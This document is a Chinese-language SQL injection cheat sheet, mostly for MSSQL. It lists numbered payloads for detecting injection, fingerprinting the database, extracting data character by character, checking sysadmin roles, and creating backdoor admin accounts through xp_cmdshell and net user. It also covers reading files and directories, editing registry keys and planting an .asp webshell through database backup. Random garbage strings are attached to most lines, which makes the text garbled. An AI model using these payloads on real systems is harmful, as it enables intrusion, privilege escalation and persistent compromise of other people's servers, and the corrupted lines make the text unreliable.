1.判断是否有注入;and 1=1 ;and 1=2 #B88w9
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2.初步判断是否是mssql ;and user>0 ^$FHI_
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3.注入参数是字符'and [查询条件] and ''=' ^{DXin 1O`
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' _Q t
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5.判断数据库系统 lSPQXu*[
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;and (select count(*) from sysobjects)>0 mssql YiTiJ9jf
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;and (select count(*) from msysobjects)>0 access ;*BG{rkr
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 `%ZM(9T
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 _s[ohMlh
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9.(1)猜字段的ascii值(access) `WboM\u
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Q_$aiE
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(2)猜字段的ascii值(mssql) % r`hW\4{
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ^RAst1q7
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10.测试权限结构(mssql) p9 <XaJ}
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- --6C>iY[&u
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- bBk_2lg=4)
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- s /"&k
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T`mG+"O
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6!sC
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
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;and 1=(select IS_MEMBER('db_owner'));-- K|%.mcs4
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11.添加mssql和系统的帐户 t6DgWKT6
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;exec master.dbo.sp_addlogin username;-- hfE5[
;exec master.dbo.sp_password null,username,password;-- RL4J{4K
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- io%WV%1_
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;exec master.dbo.xp_cmdshell 'net user username password R&KFF'%
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- <| 8N\FU{
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- q4=Gj`\43
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- c|m*<
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12.(1)遍历目录 x7J8z\b"O
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;create table dirs(paths varchar(100), id int) C$WUg<kcK'
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;insert dirs exec master.dbo.xp_dirtree 'c:\' =hFIH\x
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;and (select top 1 paths from dirs)>0 yhm6%
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0h/bC)z
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(2)遍历目录 O:%s;p
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- c||EXFS}O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 '^B[Krs'Z`
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 D8X~qt/
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 lldNIL6B%
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 SG\6qE~
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13.mssql中的存储过程 Lmsc~~
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xp_regenumvalues 注册表根键, 子键 |2ImitN0
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 jRiXN%
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xp_regread 根键,子键,键值名 8=!uQQ
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qofD@\-
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xp_regwrite 根键,子键, 值名, 值类型, 值 . n[;H;
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6 &Lr/J76
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xp_regdeletevalue 根键,子键,值名 hXnfZx%
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 BTc
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 wxJu=#!M
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14.mssql的backup创建webshell +>3jMs~&
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use model tn{YIp
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create table cmd(str image); bog3=Ig-
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insert into cmd(str) values ('');
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backup database model to disk='c:\l.asp'; k,eo+qH.Hz
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15.mssql内置函数 Vx z`
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;and (select @@version)>0 获得Windows的版本号 !mZDukfjQ
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa QUeuN?3X\
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;and (select user_name())>0 爆当前系统的连接用户 ZyM7)!+kPa
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;and (select db_name())>0 得到当前连接的数据库 Ptm=c6H('
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